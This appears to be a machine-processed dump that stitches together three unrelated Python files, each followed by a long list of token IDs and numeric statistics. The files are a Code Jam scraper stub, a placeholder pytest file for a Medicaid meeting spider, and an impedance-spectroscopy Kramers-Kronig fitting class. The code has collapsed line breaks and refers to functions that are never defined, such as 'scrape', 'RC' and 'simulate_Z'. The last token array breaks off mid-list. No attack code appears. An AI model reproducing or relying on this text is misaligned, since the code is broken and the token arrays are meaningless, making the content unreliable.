#!/usr/local/bin/python # coding:utf-8 from urllib import urlopen from urllib import urlretrieve import json import sys import os import zipfile import shutil import multiprocessing # returns the URL to download the user submission # scrapes the C/C++/Python files of the given round # main section of script if __name__ == '__main__': script_path = os.path.dirname(os.path.realpath(__file__)) metadatafile = open(script_path + "/CodeJamMetadata.json").read() metadata = json.loads(metadatafile) # loop through years for year_json in metadata['competitions']: year = year_json['year'] # loop through rounds for round_json in year_json['round']: round_id = round_json['contest'] problems = round_json['problems'] # run scraper on current round scraper = multiprocessing.Process(target=scrape, args=(round_id, problems, script_path)) scraper.start()
[ 2, 48443, 14629, 14, 12001, 14, 8800, 14, 29412, 198, 2, 19617, 25, 40477, 12, 23, 198, 198, 6738, 2956, 297, 571, 1330, 19016, 9654, 198, 6738, 2956, 297, 571, 1330, 19016, 1186, 30227, 198, 11748, 33918, 198, 11748, 25064, 198, 11748, 28686, 198, 11748, 19974, 7753, 198, 11748, 4423, 346, 198, 11748, 18540, 305, 919, 278, 198, 198, 2, 5860, 262, 10289, 284, 4321, 262, 2836, 14498, 198, 198, 2, 15881, 274, 262, 327, 14, 34, 4880, 14, 37906, 3696, 286, 262, 1813, 2835, 198, 198, 2, 1388, 2665, 286, 4226, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 4226, 62, 6978, 796, 28686, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 5305, 6978, 7, 834, 7753, 834, 4008, 198, 220, 220, 220, 20150, 7753, 796, 1280, 7, 12048, 62, 6978, 1343, 12813, 10669, 30380, 9171, 14706, 13, 17752, 11074, 961, 3419, 198, 220, 220, 220, 20150, 796, 33918, 13, 46030, 7, 38993, 7753, 8, 628, 220, 220, 220, 1303, 9052, 832, 812, 198, 220, 220, 220, 329, 614, 62, 17752, 287, 20150, 17816, 5589, 316, 1756, 6, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 614, 796, 614, 62, 17752, 17816, 1941, 20520, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 9052, 832, 9196, 198, 220, 220, 220, 220, 220, 220, 220, 329, 2835, 62, 17752, 287, 614, 62, 17752, 17816, 744, 6, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2835, 62, 312, 796, 2835, 62, 17752, 17816, 3642, 395, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2761, 796, 2835, 62, 17752, 17816, 1676, 22143, 20520, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 1057, 19320, 525, 319, 1459, 2835, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 19320, 525, 796, 18540, 305, 919, 278, 13, 18709, 7, 16793, 28, 1416, 13484, 11, 26498, 16193, 744, 62, 312, 11, 2761, 11, 4226, 62, 6978, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 19320, 525, 13, 9688, 3419, 198 ]
2.686275
357
from datetime import datetime from os.path import dirname, join import re import pytest from freezegun import freeze_time from city_scrapers_core.constants import NOT_CLASSIFIED from city_scrapers_core.utils import file_response from city_scrapers.spiders.il_medicaid import IlMedicaidSpider test_response = file_response( join(dirname(__file__), "files", "il_medicaid.html"), url="https://www.illinois.gov/hfs/About/BoardsandCommisions/MAC/Pages/default.aspx", ) spider = IlMedicaidSpider() freezer = freeze_time("2019-05-20") freezer.start() parsed_items = [item for item in spider.parse(test_response)] freezer.stop() # def test_tests(): # print("Please write some tests for this spider or at least disable this one.") # assert False """ Uncomment below """ # def test_description(): # assert parsed_items[0]["description"] == "EXPECTED DESCRIPTION" # def test_start(): # assert parsed_items[0]["start"] == datetime(2019, 1, 1, 0, 0) # def test_end(): # assert parsed_items[0]["end"] == datetime(2019, 1, 1, 0, 0) # def test_time_notes(): # assert parsed_items[0]["time_notes"] == "EXPECTED TIME NOTES" # def test_id(): # assert parsed_items[0]["id"] == "EXPECTED ID" # def test_status(): # assert parsed_items[0]["status"] == "EXPECTED STATUS" # def test_location(): # assert parsed_items[0]["location"] == { # "name": "EXPECTED NAME", # "address": "EXPECTED ADDRESS" # } # def test_source(): # assert parsed_items[0]["source"] == "EXPECTED URL" # def test_links(): # assert parsed_items[0]["links"] == [{ # "href": "EXPECTED HREF", # "title": "EXPECTED TITLE" # }] # def test_classification(): # assert parsed_items[0]["classification"] == NOT_CLASSIFIED # @pytest.mark.parametrize("item", parsed_items) # def test_all_day(item): # assert item["all_day"] is False
[ 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 28686, 13, 6978, 1330, 26672, 3672, 11, 4654, 198, 11748, 302, 198, 198, 11748, 12972, 9288, 198, 6738, 1479, 89, 1533, 403, 1330, 16611, 62, 2435, 198, 6738, 1748, 62, 1416, 2416, 364, 62, 7295, 13, 9979, 1187, 1330, 5626, 62, 45449, 198, 6738, 1748, 62, 1416, 2416, 364, 62, 7295, 13, 26791, 1330, 2393, 62, 26209, 198, 198, 6738, 1748, 62, 1416, 2416, 364, 13, 2777, 4157, 13, 346, 62, 1150, 291, 1698, 1330, 13778, 39112, 1698, 41294, 198, 198, 9288, 62, 26209, 796, 2393, 62, 26209, 7, 198, 220, 220, 220, 4654, 7, 15908, 3672, 7, 834, 7753, 834, 828, 366, 16624, 1600, 366, 346, 62, 1150, 291, 1698, 13, 6494, 12340, 198, 220, 220, 220, 19016, 2625, 5450, 1378, 2503, 13, 359, 8981, 13, 9567, 14, 71, 9501, 14, 8585, 14, 16635, 1371, 392, 6935, 3279, 14, 44721, 14, 47798, 14, 12286, 13, 31740, 1600, 198, 8, 198, 2777, 1304, 796, 13778, 39112, 1698, 41294, 3419, 198, 198, 5787, 9107, 796, 16611, 62, 2435, 7203, 23344, 12, 2713, 12, 1238, 4943, 198, 5787, 9107, 13, 9688, 3419, 198, 198, 79, 945, 276, 62, 23814, 796, 685, 9186, 329, 2378, 287, 19230, 13, 29572, 7, 9288, 62, 26209, 15437, 198, 198, 5787, 9107, 13, 11338, 3419, 628, 198, 2, 825, 1332, 62, 41989, 33529, 198, 2, 220, 220, 220, 220, 3601, 7203, 5492, 3551, 617, 5254, 329, 428, 19230, 393, 379, 1551, 15560, 428, 530, 19570, 198, 2, 220, 220, 220, 220, 6818, 10352, 628, 198, 37811, 198, 3118, 23893, 2174, 198, 37811, 628, 198, 2, 825, 1332, 62, 11213, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 11213, 8973, 6624, 366, 49864, 9782, 1961, 22196, 40165, 1, 628, 198, 2, 825, 1332, 62, 9688, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 9688, 8973, 6624, 4818, 8079, 7, 23344, 11, 352, 11, 352, 11, 657, 11, 657, 8, 628, 198, 2, 825, 1332, 62, 437, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 437, 8973, 6624, 4818, 8079, 7, 23344, 11, 352, 11, 352, 11, 657, 11, 657, 8, 628, 198, 2, 825, 1332, 62, 2435, 62, 17815, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 2435, 62, 17815, 8973, 6624, 366, 49864, 9782, 1961, 20460, 5626, 1546, 1, 628, 198, 2, 825, 1332, 62, 312, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 312, 8973, 6624, 366, 49864, 9782, 1961, 4522, 1, 628, 198, 2, 825, 1332, 62, 13376, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 13376, 8973, 6624, 366, 49864, 9782, 1961, 15486, 2937, 1, 628, 198, 2, 825, 1332, 62, 24886, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 24886, 8973, 6624, 1391, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 366, 3672, 1298, 366, 49864, 9782, 1961, 36751, 1600, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 366, 21975, 1298, 366, 49864, 9782, 1961, 5984, 7707, 7597, 1, 198, 2, 220, 220, 220, 220, 1782, 628, 198, 2, 825, 1332, 62, 10459, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 10459, 8973, 6624, 366, 49864, 9782, 1961, 10289, 1, 628, 198, 2, 825, 1332, 62, 28751, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 28751, 8973, 6624, 685, 90, 198, 2, 220, 220, 220, 220, 220, 220, 366, 33257, 1298, 366, 49864, 9782, 1961, 367, 31688, 1600, 198, 2, 220, 220, 220, 220, 220, 220, 366, 7839, 1298, 366, 49864, 9782, 1961, 37977, 2538, 1, 198, 2, 220, 220, 220, 220, 1782, 60, 628, 198, 2, 825, 1332, 62, 4871, 2649, 33529, 198, 2, 220, 220, 220, 220, 6818, 44267, 62, 23814, 58, 15, 7131, 1, 4871, 2649, 8973, 6624, 5626, 62, 45449, 628, 198, 2, 2488, 9078, 9288, 13, 4102, 13, 17143, 316, 380, 2736, 7203, 9186, 1600, 44267, 62, 23814, 8, 198, 2, 825, 1332, 62, 439, 62, 820, 7, 9186, 2599, 198, 2, 220, 220, 220, 220, 6818, 2378, 14692, 439, 62, 820, 8973, 318, 10352, 198 ]
2.62379
723
import sys sys.path.append('../') import numpy as np import math import copy import os from circuits.elements import ele_C, ele_L from IS.IS import IS_0 from IS.IS_criteria import cal_ChiSquare_0 from utils.file_utils.pickle_utils import pickle_file from utils.visualize_utils.IS_plots.ny import nyquist_multiPlots_1, nyquist_plot_1 class Vogit_3: """ Refer papers: paper1: A Linear Kronig-Kramers Transform Test for Immittance Data Validation paper0: A Method for Improving the Robustness of linear Kramers-Kronig Validity Tests Note: Vogit 最基本的电路为 Rs-M*(RC)-[Cs]-Ls Ls: inductive effects are considered byadding an additional inductivity [1] Cs: option to add a serial capacitance that helps validate data with no low-frequency intercept due to their capacitive nature an additional capacityis added to the ECM. 1- 只考虑 complex / imag / real -fit中的complex-fit 2- 三种加权方式只考虑 modulus 3- add Capacity / Inductance 中 只考虑 add Capacity Version: v3: 更新2:取消手动设置M的选择,合理设置M的上限,达到上限在停止 更新1:仿照《Impedance.py》构造Ax=Y,直接求解 class vogit的前两个版本在 \dpfc_src\circuits\vogit_0.py 中,都不好使 v2: 之前的Vogit中没有加入电感L,在这一版本中加上 """ def __init__(self, impSpe, fit_type='complex', u_optimum=0.85, add_C=False, M_max=None): """ 因为Vogit是一个measurement model,所以使用vogit之前一定会传进来一个IS :param impSpe: IS cls fit_type: str 'real', 'imag', 'complex', M: int number of (RC) w: list(float) RC_para_list:[ [R0, C0], [R1, C1], ... [Rm-1, Cm-1], ] Rs: float add_C: Bool """ self.impSpe = impSpe self.w_arr = self.impSpe.w_arr self.z_arr = self.impSpe.z_arr self.fit_type = fit_type self.u_optimum = u_optimum self.add_C = add_C self.M = 1 if (M_max is not None) and (type(M_max) == int): self.M_max = M_max else: self.get_Mmax() def get_Mmax(self): """ M_max 设置条件 condition 1- Paper1: As a rule of thumb we can conclude that, for the single fit and transformation, the v range should be equal to the inverse w range with a distribution of 6 or 7 Tcs per decade. 在这里再稍微取的更大一些 8 * decades condition 2- 在Vogit 单独使用 实部/虚部拟合时,由于系数矩阵A (row col) 要求 rol=tested points > col=number of parameters """ # condition 1 M1 = int(math.log10(self.w_arr.max() / self.w_arr.min())) * 7 # condition 2 num_points = self.w_arr.size if self.add_C: M2 = num_points - 3 - 1 else: M2 = num_points - 2 - 1 self.M_max = min(M1, M2) def calc_timeConstant(self): """ timeConstant = tao = R * C Refer: A Method for Improving the Robustness of linear Kramers-Kronig Validity Tests 2.2. Distribution of Time Constants Eq 10-12 :return: """ sorted_w_arr = np.sort(copy.deepcopy(self.w_arr)) # small --> big number w_min, w_max = sorted_w_arr[0], sorted_w_arr[-1] # Time Constant τ 用 tao表示 tao_min = 1 / w_max tao_max = 1 / w_min tao_list = [] if self.M == 1: tao_list.append(tao_min) elif self.M == 2: tao_list.extend([tao_min, tao_max]) elif self.M > 2: tao_list.append(tao_min) K = self.M - 1 for i in range(1, K): tao = 10 ** (math.log10(tao_min) + i * math.log10(tao_max / tao_min) / (self.M - 1)) tao_list.append(tao) tao_list.append(tao_max) self.tao_arr = np.array(tao_list) def update_u(self): """ refer paper0-eq21 :return: """ if self.fit_type == 'complex': self.M_R_arr = self.para_arr[1:-2] positive_R_list = [] negtive_R_list = [] for R in self.M_R_arr: if R >= 0: positive_R_list.append(R) elif R < 0: negtive_R_list.append(R) self.u = 1 - abs(sum(negtive_R_list)) / sum(positive_R_list) def fit_kk(self): """ Are/im N row M+2 or M+3(with capacity) col Are col 0: Rs(w0) / |Z(w0)|, Rs(w1) / |Z(w1)|, Rs(w2) / |Z(w2)|, ..., Rs(w_N-1) / |Z(w_N-1)| col 1: Z_RCk_0(w0)_re = Rk_0 / {[1+(w0*tao0)**2]*|Z(w0)|}, Z_RCk_0(w1)_re = Rk_0 / {[1+(w1*tao0)**2]*|Z(w1)|} Z_RCk_0(w2)_re = Rk_0 / {[1+(w2*tao0)**2]*|Z(w2)|}, ..., Z_RCk_0(w_N-1)_re = Rk_0 / {[1+(w_N-1*tao_0)**2]*|Z(w_N-1)|} ... col k(M): Z_RCk_k(w0)_re = Rk_k / {[1+(w0*taok)**2]*|Z(w0)|}, Z_RCk_k(w1)_re = Rk_k / {[1+(w1*taok)**2]*|Z(w1)|} Z_RCk_k(w2)_re = Rk_k / {[1+(w2*taok)**2]*|Z(w2)|}, ..., Z_RCk_k(w_N-1)_re = Rk_k / {[1+(w_N-1*tao_k)**2]*|Z(w_N-1)|} col -2(C): 如果加capacity,它对阻抗实部的贡献为0 0, 0, 0, ..., 0 col -1(L): L对阻抗实部的贡献为0 0, 0, 0, ..., 0 Aim col 0: Rs(wi)_im = 0, 0,0,0,...,0,0 col 1: Z_RCk_0(w0)_im = (-1 * w0 * Rk_0 * tao0) / {[1+(w0*tao0)**2]*|Z(w0)|}, Z_RCk_0(w1)_im = (-1 * w1 * Rk_0 * tao0) / {[1+(w1*tao0)**2]*|Z(w1)|}, Z_RCk_0(w2)_im = (-1 * w2 * Rk_0 * tao0) / {[1+(w2*tao0)**2]*|Z(w2)|}, ..., Z_RCk_0(w_N-1)_im = (-1 * w_N-1 * Rk_0 * tao0) / {[1+(w_N-1*tao0)**2]*|Z(w0_N-1)|}, ... col k(M): col -2(C): col -1(L): :return: """ Are = np.zeros(shape=(self.w_arr.size, self.M + 2)) Aim = np.zeros(shape=(self.w_arr.size, self.M + 2)) if self.add_C: Are = np.zeros(shape=(self.w_arr.size, self.M + 3)) Aim = np.zeros(shape=(self.w_arr.size, self.M + 3)) # Rs col Are[:,0] = 1 / np.abs(self.z_arr) # Aim[:,0] = np.zeros(shape=(self.w_arr.size)) 本来就是0 # RC_1~M col for i in range(self.M): Are[:, i+1] = RC(para_arr=np.array([1, self.tao_arr[i]]), w_arr=self.w_arr).real / np.abs(self.z_arr) Aim[:, i+1] = RC(para_arr=np.array([1, self.tao_arr[i]]), w_arr=self.w_arr).imag / np.abs(self.z_arr) if self.add_C: # Are[:, -2] = np.zeros(shape=(self.w_arr.size)) 本来就是0 Aim[:, -2] = -1 / (self.w_arr * np.abs(self.z_arr)) Aim[:, -1] = self.w_arr / np.abs(self.z_arr) if self.fit_type == 'real': self.para_arr = np.linalg.pinv(Are).dot(self.z_arr.real / np.abs(self.z_arr)) XLim = np.zeros(shape=(self.w_arr.size, 2)) # 根据paper0-Lin-KK-Eq10 再构造一组方程 求C和L, X= 1/C # data for L-col # Aim[:, -1] = self.w_arr / np.abs(self.z_arr) XLim[:, -1] = self.w_arr / np.abs(self.z_arr) # data for C-col if self.add_C: XLim[:, -2] = -1 / self.w_arr / np.abs(self.z_arr) # Aim[:, -2] = -1 / self.w_arr / np.abs(self.z_arr) """ self.para_arr[-2] = 一个很小的正数 如1e-18 的原因: 在fit_type == 'real'时, self.para_arr = np.linalg.pinv(Are).dot(self.z_arr.real / np.abs(self.z_arr)) 得到的 para_arr【-2:】 = 【X,L】 == 【0, 0】,由于下方代码马上需要计算 拟合参数所得的阻抗,计算Cs的阻抗时, Cs=1/X,因X=0,Cs-》Inf,所有要给X一个必要的、很小的正数,来防止计算上溢 """ # self.para_arr[-2] = 1e-20 # self.simulate_Z() # tmp_para_arr = np.linalg.pinv(Aim).dot((self.z_arr.imag - self.z_sim_arr.imag) / np.abs(self.z_arr)) z_vogit_arr = self.simulate_vogit() XL = np.linalg.pinv(Aim).dot((self.z_arr.imag - z_vogit_arr.imag) / np.abs(self.z_arr)) # self.para_arr[-1] = tmp_para_arr[-1] self.para_arr[-1] = XL[-1] if self.add_C: # self.para_arr[-2] = tmp_para_arr[-2] self.para_arr[-2] = XL[-2] elif self.fit_type == 'imag': self.para_arr = np.linalg.pinv(Aim).dot(self.z_arr.imag / np.abs(self.z_arr)) """ 根据 paper1-lin-KK-Eq7 计算 Rs Eq7中方括号里的叠加 == Vogit中M个RC的阻抗对于实部的贡献 """ self.simulate_Z() weight_arr = 1 / (np.abs(self.z_arr) ** 2) # paper1-Eq 7 # ValueError: setting an array element with a sequence. Rs = np.sum(weight_arr * (self.z_arr.real - self.z_sim_arr.real)) / np.sum(weight_arr) self.para_arr[0] = Rs elif self.fit_type == 'complex': A_inv = np.linalg.inv(Are.T.dot(Are) + Aim.T.dot(Aim)) Y = Are.T.dot(self.z_arr.real / np.abs(self.z_arr)) + Aim.T.dot(self.z_arr.imag / np.abs(self.z_arr)) self.para_arr = A_inv.dot(Y) def simulate_vogit(self): """ 这里的Vogit是纯的 Rs + M * RC :return: """ self.Rs = self.para_arr[0] self.M_R_arr = self.para_arr[1: self.M+1] z_vogit_arr = np.empty(shape=(self.M, self.w_arr.size), dtype=complex) # Z of M RC for i, R in enumerate(self.M_R_arr): z_RC_arr = RC(para_arr=np.array([R, self.tao_arr[i]]), w_arr=self.w_arr) z_vogit_arr[i, :] = z_RC_arr z_vogit_arr = z_vogit_arr.sum(axis=0) z_vogit_arr += self.Rs return z_vogit_arr def cal_residual(self): """ 按照paper0-Eq 15 and Eq 16 residual_arr = Z_arr - Z_sim_arr :return: """ self.simulate_Z() z_abs_arr = np.abs(self.z_arr) self.residual_arr = (self.z_arr - self.z_sim_arr) / z_abs_arr def residual_statistic(self, type): """ 我定义衡量残差的几种定量标准; 1 残差的绝对值 实部残差的绝对值 虚部残差的绝对值 2 残差的 平方 实部残差的 平方 虚部残差的 平方 :param type: str 'abs' 'square' """ self.cal_residual() if type == 'abs': residual_real_abs_arr = np.abs(self.residual_arr.real) residual_imag_abd_arr = np.abs(self.residual_arr.imag) return residual_real_abs_arr, residual_imag_abd_arr elif type == 'square': residual_real_square_arr = self.residual_arr.real ** 2 residual_imag_square_arr = self.residual_arr.imag ** 2 return residual_real_square_arr, residual_imag_square_arr def cal_chiSquare(self, weight_type='modulus'): """ 这里不能按照ZSimpWin的方式计算,因ZSimpWin的方式计算 涉及到 ECM中参数的数量,删除点前后的ECM可能不一样,没法计算 故只能按照 chiSquare = weight * [▲Re**2 + ▲Im**2] :return: """ self.simulate_Z() if weight_type == 'modulus': self.chi_square = cal_ChiSquare_0(z_arr=self.z_arr, z_sim_arr=self.z_sim_arr, weight_type=weight_type) return self.chi_square # ---------------------------------- Test Vogit_3 on Lin-KK-Ex1_LIB_time_invariant ---------------------------------- # 1- load data # fit_type = 'real' # fit_type = 'imag' # fit_type = 'complex' # lib_res_fp = '../plugins_test/jupyter_code/rbp_files/2/example_data_sets/LIB_res' # if fit_type == 'complex': # ex1_data_dict = np.load(os.path.join(lib_res_fp, 'Ex1_LIB_time_invariant_res.npz')) # elif fit_type == 'real': # ex1_data_dict = np.load(os.path.join(lib_res_fp, 'Ex1_LIB_time_invariant_real_addC_res.npz')) # elif fit_type == 'imag': # ex1_data_dict = np.load(os.path.join(lib_res_fp, 'Ex1_LIB_time_invariant_imag_addC_res.npz')) # ex1_z_arr = ex1_data_dict['z_arr'] # ex1_f_arr = ex1_data_dict['fre'] # ex1_z_MS_sim_arr = ex1_data_dict['z_sim'] # ex1_real_residual_arr = ex1_data_dict['real_residual'] # ex1_imag_residual_arr = ex1_data_dict['imag_residual'] # ex1_IS = IS_0() # ex1_IS.raw_z_arr = ex1_z_arr # ex1_IS.exp_area = 1.0 # ex1_IS.z_arr = ex1_z_arr # ex1_IS.fre_arr = ex1_f_arr # ex1_IS.w_arr = ex1_IS.fre_arr * 2 * math.pi # --------------- real Fit --------------- # ex1_vogit = Vogit_3(impSpe=ex1_IS, fit_type=fit_type, add_C=True) # ex1_vogit.lin_KK() # # compare nyquist plots of MS-Lin-KK and Mine # ex1_z_MS_sim_list = ex1_z_MS_sim_arr.tolist() # ex1_vogit.simulate_Z() # z_pack_list = [ex1_z_arr.tolist(), ex1_z_MS_sim_list, ex1_vogit.z_sim_arr.tolist()] # nyquist_multiPlots_1(z_pack_list=z_pack_list, x_lim=[0.015, 0.045], y_lim=[0, 0.02], plot_label_list=['Ideal IS', 'MS-real-Fit','Mine-real-Fit']) # --------------- real Fit --------------- # --------------- imag Fit --------------- # ex1_vogit = Vogit_3(impSpe=ex1_IS, fit_type=fit_type, add_C=True) # ex1_vogit.lin_KK() # # compare nyquist plots of MS-Lin-KK and Mine # ex1_z_MS_sim_list = ex1_z_MS_sim_arr.tolist() # ex1_vogit.simulate_Z() # z_pack_list = [ex1_z_arr.tolist(), ex1_z_MS_sim_list, ex1_vogit.z_sim_arr.tolist()] # nyquist_multiPlots_1(z_pack_list=z_pack_list, x_lim=[0.015, 0.045], y_lim=[0, 0.02], plot_label_list=['Ideal IS', 'MS-imag-Fit','Mine-imag-Fit']) # --------------- imag Fit --------------- # --------------- Complex Fit --------------- # ex1_vogit = Vogit_3(impSpe=ex1_IS, add_C=True) # ex1_vogit.lin_KK() # # compare nyquist plots of MS-Lin-KK and Mine # ex1_z_MS_sim_list = ex1_z_MS_sim_arr.tolist() # ex1_vogit.simulate_Z() # z_pack_list = [ex1_z_arr.tolist(), ex1_z_MS_sim_list, ex1_vogit.z_sim_arr.tolist()] # nyquist_multiPlots_1(z_pack_list=z_pack_list, x_lim=[0.015, 0.045], y_lim=[0, 0.02], plot_label_list=['Ideal IS', 'MS-Fit','Mine-Fit']) # --------------- Complex Fit --------------- # ---------------------------------- Test Vogit_1 on Lin-KK-Ex1_LIB_time_invariant ----------------------------------
[ 11748, 25064, 198, 17597, 13, 6978, 13, 33295, 10786, 40720, 11537, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 10688, 198, 11748, 4866, 198, 11748, 28686, 198, 198, 6738, 24907, 13, 68, 3639, 1330, 9766, 62, 34, 11, 9766, 62, 43, 198, 6738, 3180, 13, 1797, 1330, 3180, 62, 15, 198, 6738, 3180, 13, 1797, 62, 22213, 5142, 1330, 2386, 62, 1925, 72, 48011, 62, 15, 198, 6738, 3384, 4487, 13, 7753, 62, 26791, 13, 27729, 293, 62, 26791, 1330, 2298, 293, 62, 7753, 198, 6738, 3384, 4487, 13, 41464, 1096, 62, 26791, 13, 1797, 62, 489, 1747, 13, 3281, 1330, 299, 88, 30062, 62, 41684, 3646, 1747, 62, 16, 11, 299, 88, 30062, 62, 29487, 62, 16, 198, 198, 4871, 35421, 270, 62, 18, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 33973, 198, 220, 220, 220, 220, 220, 220, 220, 9473, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3348, 16, 25, 317, 44800, 44732, 328, 12, 42, 859, 364, 26981, 6208, 329, 9543, 47912, 6060, 3254, 24765, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3348, 15, 25, 317, 11789, 329, 12205, 1075, 262, 3851, 436, 1108, 286, 14174, 509, 859, 364, 12, 42, 1313, 328, 3254, 17995, 30307, 198, 220, 220, 220, 5740, 25, 198, 220, 220, 220, 220, 220, 220, 220, 35421, 270, 42164, 222, 161, 253, 118, 17312, 105, 21410, 18796, 113, 164, 115, 107, 10310, 118, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12820, 12, 44, 9, 7, 7397, 13219, 58, 32274, 45297, 43, 82, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 406, 82, 25, 28948, 425, 3048, 389, 3177, 416, 26872, 281, 3224, 28948, 3458, 685, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 327, 82, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3038, 284, 751, 257, 11389, 18457, 42942, 326, 5419, 26571, 1366, 351, 645, 1877, 12, 35324, 15788, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2233, 284, 511, 18457, 1800, 3450, 281, 3224, 5339, 271, 2087, 284, 262, 13182, 44, 13, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 352, 12, 10263, 237, 103, 32003, 225, 164, 247, 239, 3716, 1220, 3590, 1220, 1103, 532, 11147, 40792, 21410, 41887, 12, 11147, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 362, 12, 220, 49011, 163, 100, 235, 27950, 254, 30266, 225, 43095, 28156, 237, 20998, 103, 32003, 225, 164, 247, 239, 953, 23515, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 513, 12, 751, 29765, 1220, 1423, 4782, 590, 220, 40792, 10263, 237, 103, 32003, 225, 164, 247, 239, 751, 29765, 198, 220, 220, 220, 10628, 25, 198, 220, 220, 220, 220, 220, 220, 220, 410, 18, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10545, 249, 112, 23877, 108, 17, 171, 120, 248, 20998, 244, 162, 114, 230, 33699, 233, 27950, 101, 164, 106, 122, 163, 121, 106, 44, 21410, 34460, 231, 162, 233, 102, 171, 120, 234, 28938, 230, 49426, 228, 164, 106, 122, 163, 121, 106, 44, 21410, 41468, 165, 247, 238, 171, 120, 234, 164, 122, 122, 26344, 108, 41468, 165, 247, 238, 28839, 101, 161, 223, 250, 29826, 95, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10545, 249, 112, 23877, 108, 16, 171, 120, 248, 20015, 123, 163, 227, 100, 5099, 232, 26950, 276, 590, 13, 9078, 5099, 233, 162, 252, 226, 34460, 254, 31554, 28, 56, 171, 120, 234, 33566, 112, 162, 236, 98, 162, 109, 224, 164, 100, 96, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1398, 410, 519, 270, 21410, 30298, 235, 10310, 97, 10310, 103, 48304, 17312, 105, 28839, 101, 3467, 26059, 16072, 62, 10677, 59, 21170, 15379, 59, 85, 519, 270, 62, 15, 13, 9078, 220, 40792, 171, 120, 234, 32849, 121, 38834, 25001, 121, 45635, 198, 220, 220, 220, 220, 220, 220, 220, 410, 17, 25, 220, 45298, 30298, 235, 21410, 53, 519, 270, 40792, 162, 110, 94, 17312, 231, 27950, 254, 17739, 98, 18796, 113, 35707, 253, 43, 171, 120, 234, 28839, 101, 32573, 247, 31660, 48304, 17312, 105, 40792, 27950, 254, 41468, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 848, 5248, 11, 4197, 62, 4906, 11639, 41887, 3256, 334, 62, 8738, 2847, 28, 15, 13, 5332, 11, 751, 62, 34, 28, 25101, 11, 337, 62, 9806, 28, 14202, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 10263, 249, 254, 10310, 118, 53, 519, 270, 42468, 31660, 10310, 103, 1326, 5015, 434, 2746, 171, 120, 234, 33699, 222, 20015, 98, 45635, 18796, 101, 85, 519, 270, 45298, 30298, 235, 31660, 22522, 248, 27670, 248, 27670, 254, 32573, 249, 30266, 98, 31660, 10310, 103, 1797, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 848, 5248, 25, 3180, 537, 82, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4197, 62, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 5305, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 48466, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 41887, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 337, 25, 493, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1271, 286, 357, 7397, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 266, 25, 1351, 7, 22468, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13987, 62, 1845, 64, 62, 4868, 33250, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 49, 15, 11, 327, 15, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 49, 16, 11, 327, 16, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2644, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 49, 